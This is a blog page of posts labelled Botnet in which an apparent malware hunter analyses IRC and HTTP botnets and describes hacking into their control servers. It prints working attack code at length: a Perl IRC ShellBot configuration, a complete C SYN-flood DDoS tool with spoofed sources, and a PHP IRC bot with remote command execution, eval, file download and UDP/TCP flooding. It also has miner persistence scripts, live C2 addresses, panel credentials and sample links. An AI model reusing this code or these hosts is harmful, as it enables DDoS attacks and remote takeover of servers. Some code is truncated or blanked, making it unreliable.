Pages

Showing posts with label Botnet. Show all posts
Showing posts with label Botnet. Show all posts

Saturday, November 19, 2016

5k - Perl/ShellBot.B ddos - IRC









# TeaMrx Perlbot vS xeQT


my @mast3rs = ("Low","Loww");


my @admchan=("#Perli");

$servidor='188.119.151.131' unless $servidor;  // his server 


my $xeqt = "!x";
my $homedir = "/tmp";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;

my @fakeps = ("/usr/local/apache/bin/httpd -DSSL",
    "/usr/sbin/httpd -k start -DSSL",
    "/usr/sbin/httpd",
    "spamd child",
    "httpd");

my @nickname = ("TeaMrx","......","xQt");

my @xident = ("noway",......yn","ju");

my @xname = ("Googurl (C) 2006 xeQt","........","Team Work","jet lie");

#################
# Random Ports
#################
my @rports = ("6667");

my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
    "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
    "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
    "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
    "\001Snak for Macintosh 4.9.8 English\001",
    "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
    "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
    "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
    "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
    "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
    "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
    "\001ircN 8.00  -  he tries to tell me what I put inside of me  - \001",
    "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
    "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
    "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
    "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
    "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
    "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
    "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
    "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
    "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
    "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1á9] : Keep it to yourself!\001",
    "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
    "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
    "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
    "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");

# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");

# xeQt

#my $nick = "sshb0t1";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'vSm0d (C) TeaMrx';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."\0";
my $pid=fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

sub getnick {
  return "$nickname[rand scalar @nickname]".int(rand(1000));
}

neeedd to delete some shit coz site gets blacklisted

  }

ahh found this in his spreaading ftp maybe interesting to someone ....


/* "DOMINATE" Attack Script, this script was so difficult to make, it required taking the very public ESSYN
attack script, and replacing "tcph->res2 = 1;" to "tcph->res2 = 3;" in the "setup_tcp_header" function.
Anybody who purchased this script for $300 BTC, yup, it's literally changing a 1 to a 3.
*/
#include unistd.h
#include time.h
#include sys/types.h
#include sys/socket.h
#include sys/ioctl.h
#include string.h
#include stdlib.h
#include stdio.h
#include pthread.h
#include netinet/tcp.h
#include netinet/ip.h
#include netinet/in.h
#include netinet/if_ether.h
#include netdb.h
#include net/if.h
#include arpa/inet.h

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

void init_rand(unsigned long int x)
{
 int i;
 Q[0] = x;
 Q[1] = x + PHI;
 Q[2] = x + PHI + PHI;
 for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
 unsigned long long int t, a = 18782LL;
 static unsigned long int i = 4095;
 unsigned long int x, r = 0xfffffffe;
 i = (i + 1) & 4095;
 t = a * Q[i] + c;
 c = (t >> 32);
 x = t + c;
 if (x < c) {
  x++;
  c++;
 }
 return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
 register unsigned long sum = 0;
 while( count > 1 ) { sum += *buf++; count -= 2; }
 if(count > 0) { sum += *(unsigned char *)buf; }
 while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 return (unsigned short)(~sum);
}

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {

 struct tcp_pseudo
 {
  unsigned long src_addr;
  unsigned long dst_addr;
  unsigned char zero;
  unsigned char proto;
  unsigned short length;
 } pseudohead;
 unsigned short total_len = iph->tot_len;
 pseudohead.src_addr=iph->saddr;
 pseudohead.dst_addr=iph->daddr;
 pseudohead.zero=0;
 pseudohead.proto=IPPROTO_TCP;
 pseudohead.length=htons(sizeof(struct tcphdr));
 int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 unsigned short *tcp = malloc(totaltcp_len);
 memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 unsigned short output = csum(tcp,totaltcp_len);
 free(tcp);
 return output;
}

void setup_ip_header(struct iphdr *iph)
{
 iph->ihl = 5;
 iph->version = 4;
 iph->tos = 0;
 iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 iph->id = htonl(54321);
 iph->frag_off = 0;
 iph->ttl = MAXTTL;
 iph->protocol = 6;
 iph->check = 0;
 iph->saddr = inet_addr("192.168.3.100");
}

void setup_tcp_header(struct tcphdr *tcph)
{
 tcph->source = htons(5678);
 tcph->seq = rand();
 tcph->ack_seq = 0;
 tcph->res2 = 3;
 tcph->doff = 5;
 tcph->syn = 1;
 tcph->window = htonl(65535);
 tcph->check = 0;
 tcph->urg_ptr = 0;
}

void *flood(void *par1)
{
 char *td = (char *)par1;
 char datagram[MAX_PACKET_SIZE];
 struct iphdr *iph = (struct iphdr *)datagram;
 struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
 
 struct sockaddr_in sin;
 sin.sin_family = AF_INET;
 sin.sin_port = htons(floodport);
 sin.sin_addr.s_addr = inet_addr(td);

 int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 if(s < 0){
  fprintf(stderr, "Could not open raw socket.\n");
  exit(-1);
 }
 memset(datagram, 0, MAX_PACKET_SIZE);
 setup_ip_header(iph);
 setup_tcp_header(tcph);

 tcph->dest = htons(floodport);

 iph->daddr = sin.sin_addr.s_addr;
 iph->check = csum ((unsigned short *) datagram, iph->tot_len);

 int tmp = 1;
 const int *val = &tmp;
 if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  exit(-1);
 }

 init_rand(time(NULL));
 register unsigned int i;
 i = 0;
 while(1){
  sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

  iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  tcph->seq = rand_cmwc() & 0xFFFF;
  tcph->source = htons(rand_cmwc() & 0xFFFF);
  tcph->check = 0;
  tcph->check = tcpcsum(iph, tcph);
  
  pps++;
  if(i >= limiter)
  {
   i = 0;
   usleep(sleeptime);
  }
  i++;
 }
}
int main(int argc, char *argv[ ])
{
 if(argc < 6){
  fprintf(stderr, "Invalid parameters!\n");
  fprintf(stdout, "Usage: %s     


Sunday, November 13, 2016

pBot Skidd - 93.158.200.94 - IRC




// users 
9/tcp  open  irc     Unreal ircd
| irc-info: 
|   server: irc.MoneyZ.gov.GoV
|   version: Unreal3.2.10.2. irc.MoneyZ.gov.GoV 
|   servers: 1
|   chans: 2
|   users: 246
|   lservers: 0
|   lusers: 246

//confg
class pBot
{
 var $config = array("server"=>"93.158.200.94", "port"=>"9", "key"=>"", "prefix"=>"botID", "maxrand"=>"8", "chan"=>"#-|Bots", "trigger"=>"", "password"=>"", "auth"=>"MoneyZ.gov");
 var $users = array();
 function start() {
    while(true)
 {

Saturday, November 12, 2016

Bot - l.lolole.net - IRC

DNS : l.lolole.net


<< NOTICE AUTH :*** Looking up your hostname...
<< NOTICE AUTH :*** Found your hostname
>> USER dk dk dk dk
>> NICK dkacoxfdb
<< 001 dkacoxfdb
<< 002 dkacoxfdb :               M0dded by uNkn0wn Crew
<< 003 dkacoxfdb
<< 004 dkacoxfdb :          www.uNkn0wn.eu - iD@uNkn0wn.eu
<< 005 dkacoxfdb
<< 005 dkacoxfdb
<< 005 dkacoxfdb
<< 422 dkacoxfdb :MOTD File is missing
<< MODE dkacoxfdb :+iwG
>> JOIN #k
<< JOIN :#k
>> PING :E.tk
>> PONG :E.tk



testhttps://malwr.com/analysis/YThlNzM5N2JlNjU1NGIwNjg0ZWY3Y2YwYzgwNTcxYWI/share/e34eba54ecbb465a9c40c221949ac034

Saturday, March 14, 2015

Zbot - 151.236.58.229 - Owned

Here are 2 panels installed on the same host ,the host is hijacked for sure
and the owner was so nice to let the root user whiout a password , same thing for the ftp uses default xampp user and pass for nix , thanks for that btw lol , samples are attached at the end password is "infected"


user : admin
pass : badoo123


user : admin
pass : badoo123



hxxp://www.filehost.ro/31418144/infected_rar/
pass : infected

Sunday, February 15, 2015

Blue Botnet - HTTP Botnet

Found a sample in the wild .



the sample was uncrypted as well and its coded in .NET C# also .



also lets take a look inside ( .NET )



Traced bot back and found the host , hacked it , got his panel.rar lol so following pictures are just a demo
on my local net ..



// index.php 
?php
error_reporting(E_ERROR | E_PARSE);
if (file_exists("phash") == false){
 header("Location: register.php");
} else {
 $filename = "phash";
 $fp = fopen($filename, "r");
 $content = fread($fp, filesize($filename));
 fclose($fp);
 $storedPassHash = $content;
 $passHash = $_COOKIE['phash'];
 if (md5("randomsalt".$passHash) != $storedPassHash){
  header("Location: login.php");

Diferent ddos methods uses HTTP Proxy flood , Wordpres Pingback (xmlrpc) , TCP etc ...
looks like HyperBeamEngine



a demo of TCP flood , it requests
botserver/panel/target.ip
botserver/panel/target.method
botserver/panel/target.port





HTTP Flood , http proxys of setting are saved here " botserver/panel/proxy " thats how the bot reads it
if the target.method is HTTPFLOOD







Wordpress Pingback or how he calls it PRESS same as at the HTTPFLOD but here is the file savend uder
botserver/panel/blog thats the file which we add hosts at setting



an online running botnet i found is here :
hxxp://burimche.net/help/login.php
// all online ip's of bots
hxxp://burimche.net/help/visitors.txt
hxxp://burimche.net/help/target.ip
hxxp://burimche.net/help/target.method
hxxp://burimche.net/help/target.port
// online bots
hxx://burimche.net/help/botlogger.php
test
Want Sample and Panel ? conntact me at email , for research purposes only !!

Tuesday, February 10, 2015

Zeus / Cryptlocker - skid - information@jupimail.com

Found an easy modified zeus panel , after puting a shell into
so we got user and pass from database i found there was an
script enabled for download and execute a file see at pic3







Virustotatl update.src .. this is a cryptlocker



also the desktop after it execution



So it give's an email address and says that conntact him and send him an sum from 100$ then we get our files back ,
so i wrote him an email just for fun and after some conversation i told him i dont know what bitcoin is im just a stupid
user that lost his data and just want my data back, he responded like this



also an identity of a person , not sure if he is or like he said just a drop but he also send me other name's



I almost got him lol see following picture ..



and ye this was hist last message , PS lulz at his english


Bro you seriousl or you malware reserceher?


i give you valid details

My name is Ivan Fedorov

i am in Latvia




You sure you wont myhelp

i am sent you N7 msg

any who REALY need data computer ASK N1 GET BITCOIN


MAKE IN 48 HOURZ


I UZE ZEUS BOTNETZ

ANTI CORUPTIONZ ANTI ILLUMINATI SYSEM

HOW YOU R MOMA DIE SLOW IN HOSPITAL

YOU BE SOME 1 GUY RUS HOW YOU ПИДАРАЗ
MAKE PAUZE YOUR SELF!


ты вставляешь пралки в калеса я рублюза за норм и не трогаю руских


ты тебя мама кормит она скора умрет и будет повышенпие оплат за квартиры и за еду и комунальных услуг и тд


короче нахуй ты мне тут мозг ееш и на тебя размениваться

ЧТОБ ТВОЯ МАМА УМЕРЛА


YOUR MOM EAT MY EXE

DON KILUMINATI 7 DAY THEORY

Sunday, February 8, 2015

IRC Botnet - 218.200.153.154 - PWNED

I don't know if this kid is just stupid or he really trying to dox me ,
if so keep it going lol . Another attack from him on my honeypot

and aggain he is using an IRC server for hosting bot's

PWNED aggain .. lolz

Sunday, February 1, 2015

Bot - botnet1.zapto.org - IRC

dns : botnet1.zapto.org
dns2: nhg24.zapto.org

>> PASS NhG
<< NOTICE AUTH :*** eh...
>> NICK Taze{NhG-XP-USA}595632
>> USER 2847 "" "TsGh" :2847
<< 001 Taze{NhG-XP-USA}595632
<< 002 Taze{NhG-XP-USA}595632
<< 003 Taze{NhG-XP-USA}595632
<< 004 Taze{NhG-XP-USA}595632
<< 005 Taze{NhG-XP-USA}595632
<< 005 Taze{NhG-XP-USA}595632
<< 005 Taze{NhG-XP-USA}595632
<< 422 Taze{NhG-XP-USA}595632 :MOTD File is missing
>> JOIN #!Nh!# NhG
>> PING :HTTP1.4
>> PONG :HTTP1.4

testhttps://malwr.com/analysis/OGVjZTZjNTRjMTQ0NDQ0YzhmNWIxYjAxNTE4MzY3OWM/share/9c8baa8078c449c6ac62a23ae2349cb5

Saturday, January 31, 2015

Miner Spreading over Zmeu

Infected machine cpu at 100% , bin execution dir was C:\appserv\phpmyadmin\ , following the logs it got infected throu that pma exploit


init.exe - SFX archive that calls another SFX arch called sys,exe

sys.exe

run.bat
@ECHO OFF
START /WAIT /B taskkill /F /IM init.exe > nul
ping -n 3 -w 2 127.0.0.1 > nul
call geox.exe -pula
:end
geox..exe

run.bat - sets mode hiden on folder's
@ECHO OFF
setx GPU_MAX_ALLOC_PERCENT 100
setx GPU_USE_SYNC_OBJECTS 1
START /WAIT /B regedit /s %SystemRoot%\init\spoolv32\reg.reg
START /WAIT /B %SystemRoot%\init\spoolv32\bash
START /WAIT /B regedit /s %SystemRoot%\init\spoolv64\reg.reg
START /WAIT /B %SystemRoot%\init\spoolv64\bash
START attrib +H +S %SystemRoot%\init
reg.reg / sets itself at startup services
 

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\svchost\Parameters]

[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\svchost\Parameters]
"Application"="\"C:\\Windows\\init\\spoolv32\\bash.lnk\""
"AppDirectory"="\"C:\\Windows\\init\\spoolv32\\bash.lnk\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"spoolv"="\"C:\\Windows\\init\\spoolv32\\bash.lnk\""


bash.lnk - also stars miner whith following command , host , user and pass
%SystemRoot%\init\hstart.exe /NOCONSOLE /SILENT /D="%SystemRoot%\init\spoolv32" /HIGH "%SystemRoot%\init\spoolv32\init.exe -o stratum+tcp://stratum.wemineftc.com:80 -O geox.1:x"


init.exe - miner exe also a help command on it .



VirusTotal  - Malwr

Wednesday, January 28, 2015

pBot - 167.114.128.120 - IRC


Honeypot Logs












LOL




He uses zmeu scanner and pma exploit to spread a php botnet !
here is bot script

<?php
set_time_limit(0); 
error_reporting(0);
ignore_user_abort(true);

$dir = getcwd();
$uname= @php_uname();

function whereistmP()
{
        $uploadtmp=ini_get('upload_tmp_dir');
        $uf=getenv('USERPROFILE');
        $af=getenv('ALLUSERSPROFILE');
        $se=ini_get('session.save_path');
        $envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
        if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
        if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
        if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
        if(is_dir($uf) && is_writable($uf))return $uf;
        if(is_dir($af) && is_writable($af))return $af;
        if(is_dir($se) && is_writable($se))return $se;
        if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
        if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
        return '.';        
}
function srvshelL($command)
{
        $name=whereistmP()."\\".uniqid('NJ');
        $n=uniqid('NJ');
        $cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
        win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
        win32_start_service($n);
        win32_stop_service($n);
        win32_delete_service($n);
        while(!file_exists($name))sleep(1);
        $exec=file_get_contents($name);
        unlink($name);
        return $exec;
}
function ffishelL($command)
{
        $name=whereistmP()."\\".uniqid('NJ');
        $api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
        $res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
        while(!file_exists($name))sleep(1);
        $exec=file_get_contents($name);
        unlink($name);
        return $exec;
}
function comshelL($command,$ws)
{
        $exec=$ws->exec("cmd.exe /c $command");
        $so=$exec->StdOut();
        return $so->ReadAll();
}
function perlshelL($command)
{
        $perl=new perl();
        ob_start();
        $perl->eval("system(\"$command\")");
        $exec=ob_get_contents();
        ob_end_clean();
        return $exec;
}
function Exe($command)
{
        $exec=$output='';
        $dep[]=array('pipe','r');$dep[]=array('pipe','w');
        if(function_exists('passthru')){ob_start();@passthru($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
        elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
        elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
        elseif(function_exists('shell_exec'))$exec=@shell_exec($command);
        elseif(function_exists('popen')){$output=@popen($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
        elseif(function_exists('proc_open')){$res=@proc_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
        elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
        elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
        elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
        elseif(extension_loaded('perl'))$exec=perlshelL($command);
        return $exec;
}

class pBot
{
 var $config = array("server"=>"167.114.128.120", "port"=>"6668","key"=>"","prefix"=>"", "maxrand"=>"5", "chan"=>"#Boxes","trigger"=>".","hostauth"=>"god.net"); 
 var $users = array(); 
 function start()
 {
    while(true)
 {
     if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start(); 
     $ident = $this->config['prefix'];
     $alph = range("0","9");
     for($i=0;$i<$this->config['maxrand'];$i++) $ident .= $alph[rand(0,9)];
     $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
     $this->set_nick();
     $this->main();
 }
}
 function main()
 {
    while(!feof($this->conn))
    {
 if(function_exists('stream_select'))
 {
 $read = array($this->conn);
 $write = NULL;
 $except = NULL;
 $changed = stream_select($read, $write, $except, 30);
 if($changed == 0)
 {
  fwrite($this->conn, "PING :lelcomeatme\r\n");
  $read = array($this->conn);
         $write = NULL;
         $except = NULL;
         $changed = stream_select($read, $write, $except, 30);
  if($changed == 0) break;
 }
 }
       $this->buf = trim(fgets($this->conn,512)); 
       $cmd = explode(" ",$this->buf); 
       if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
       if(isset($cmd[1]) && $cmd[1] =="001") { $this->join($this->config['chan'],$this->config['key']); continue; } 
       if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
       if($this->buf != $old_buf) 
       { 
          $mcmd = array(); 
          $msg = substr(strstr($this->buf," :"),2); 
          $msgcmd = explode(" ",$msg); 
          $nick = explode("!",$cmd[0]); 
          $vhost = explode("@",$nick[1]); 
          $vhost = $vhost[1]; 
          $nick = substr($nick[0],1); 
          $host = $cmd[0]; 
          if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
          else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];

          if(count($cmd)>2) 
          { 
             switch($cmd[1]) 
             {
                case " ": 
                   if(true) 
                   {
                      if(substr($mcmd[0],0,1)==".") 
                      { 
                         switch(substr($mcmd[0],1)) 
                         {
                            case " ":
                               if(count($mcmd)>4) 
                               { 
                                  $header = "From: <".$mcmd[2].">"; 
                                  if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header)) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: failed sending.");
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2mail\2]: sent."); 
                                  } 
                               } 
                            break;
                            case "dns": 
                               if(isset($mcmd[1])) 
                               { 
                                  $ip = explode(".",$mcmd[1]); 
                                  if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3])) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1])); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1])); 
                                  } 
                               } 
                            break;
                            case " ":
                               if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
                               else { $safemode = "off"; }
                               $uname = php_uname();
                               $this->privmsg($this->config['chan'],"[\2info\2]: ".$uname." (safe: ".$safemode.")");
                            break;
                            case " ": 
                               $this->set_nick(); 
                            break; 
                            case " ":
                               $this->send(strstr($msg,$mcmd[1])); 
                            break; 
                            case " ":
   
           ob_start();
                                eval(strstr($msg,$mcmd[1]));
           $exec=ob_get_contents();
    ob_end_clean();
                               $ret = explode("\n",$exec);
                               for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case " ": 
                               $command = substr(strstr($msg,$mcmd[0]),strlen($mcmd[0])+1); 
                               $exec = Exe($command); 
                               $ret = explode("\n",$exec);
                               for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan'],"      : ".trim($ret[$i])); 
                            break;
                            case " ": 
                               if(count($mcmd)>2) 
                               { 
                                  $this->config['server'] = $mcmd[1]; 
                                  $this->config['port'] = $mcmd[2]; 
                                  if(isset($mcmcd[3])) 
                                  { 
                                   $this->config['pass'] = $mcmd[3]; 
                                   $this->privmsg($this->config['chan'],"[\2update\2]: info updated ".$mcmd[1].":".$mcmd[2]." pass: ".$mcmd[3]); 
                                  } 
                                  else 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2update\2]: switched server to ".$mcmd[1].":".$mcmd[2]); 
                                  }
      fclose($this->conn);    
                               } 
                            break; 
                            case " ": 
                               if(count($mcmd) > 2) 
                               { 
                                  if(!$fp = fopen($mcmd[2],"w")) 
                                  { 
                                     $this->privmsg($this->config['chan'],"[\2download\2]: could not open output file."); 
                                  } 
                                  else 
                                  { 
                                     if(!$get = file($mcmd[1])) 
                                     { 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: could not download \2".$mcmd[1]."\2"); 
                                     } 
                                     else 
                                     { 
                                        for($i=0;$i<=count($get);$i++) 
                                        { 
                                           fwrite($fp,$get[$i]); 
                                        } 
                                        $this->privmsg($this->config['chan'],"[\2download\2]: file \2".$mcmd[1]."\2 downloaded to \2".$mcmd[2]."\2");
                                     } 
                                     fclose($fp); 
                                  } 
                               }
                               else { $this->privmsg($this->config['chan'],"[\2download\2]: use .download http://your.host/file /tmp/file"); }
                            break;
                            case "udpflood": 
                               if(count($mcmd)>4) { $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]); } 
                            break; 
                            case "tcpconn": 
                               if(count($mcmd)>5) { $this->tcpconn($mcmd[1],$mcmd[2],$mcmd[3]); } 
                            break;
                         } 
                      } 
                   } 
                break; 
             } 
          } 
       }
    } 
 } 
 function send($msg) { fwrite($this->conn,$msg."\r\n"); } 
 function join($chan,$key=NULL) { $this->send("JOIN ".$chan." ".$key); } 
 function privmsg($to,$msg) { $this->send("PRIVMSG ".$to." :".$msg); }
 function notice($to,$msg) { $this->send("NOTICE ".$to." :".$msg); }
 function set_nick()
 {
    $this->nick = "";
    if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->nick .= "Linux|";
    else $this->nick .= "Linux|";
    if(isset($_SERVER['SERVER_SOFTWARE']))
    {
       if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache")) $this->nick .= ""; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis")) $this->nick .= ""; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami")) $this->nick .= ""; 
       elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"nginx")) $this->nick .= ""; 
       else $this->nick .= ""; 
    }
    else
    {
       $this->nick .= "";
    }
    $this->nick .= $this->config['prefix']; 
    for($i=0;$i<$this->config['maxrand'];$i++) $this->nick .= mt_rand(0,9); 
    $this->send("NICK ".$this->nick);
 } 
  function udpflood($host,$port,$time,$packetsize) {
 $this->privmsg($this->config['chan'],""); 
 $packet = "";
 for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
 $end = time() + $time;
 $multitarget = false;
 if(strpos($host, ",") !== FALSE)
 {
  $multitarget = true;
  $host = explode(",", $host);
 }
 $i = 0;
 if($multitarget)
 {
  $fp = array();
  foreach($host as $hostt) $fp[] = fsockopen("udp://".$hostt,$port,$e,$s,5);

  $count = count($host);
  while(true)
  {
         fwrite($fp[$i % $count],$packet);
   fflush($fp[$i % $count]);
   if($i % 100 == 0)
   {
    if($end < time()) break;
   }
   $i++;
  }

         foreach($fp as $fpp) fclose($fpp);
 } else {
  $fp = fsockopen("udp://".$host,$port,$e,$s,5);
  while(true)
  {
         fwrite($fp,$packet);
   fflush($fp);
   if($i % 100 == 0)
   {
    if($end < time()) break;
   }
   $i++;
  }
         fclose($fp);
 }
 $env = $i * $packetsize;
 $env = $env / 1048576;
 $vel = $env / $time;
 $vel = round($vel);
 $env = round($env);
 $this->privmsg($this->config['chan'],"".$env."".$vel."");
}
 function tcpconn($host,$port,$time) 
 { 
    $this->privmsg($this->config['chan'],"[\2TcpConn Started!\2]"); 
    $end = time() + $time;
    $i = 0;
    while($end > time())
    {
 $fp = fsockopen($host, $port, $dummy, $dummy, 1);
 fclose($fp);
        $i++;
    }
    $this->privmsg($this->config['chan'],"[\2TcpFlood Finished!\2]: sent ".$i." connections to $host:$port."); 
 }
} 
$bot = new pBot; 
$bot->start(); 
?>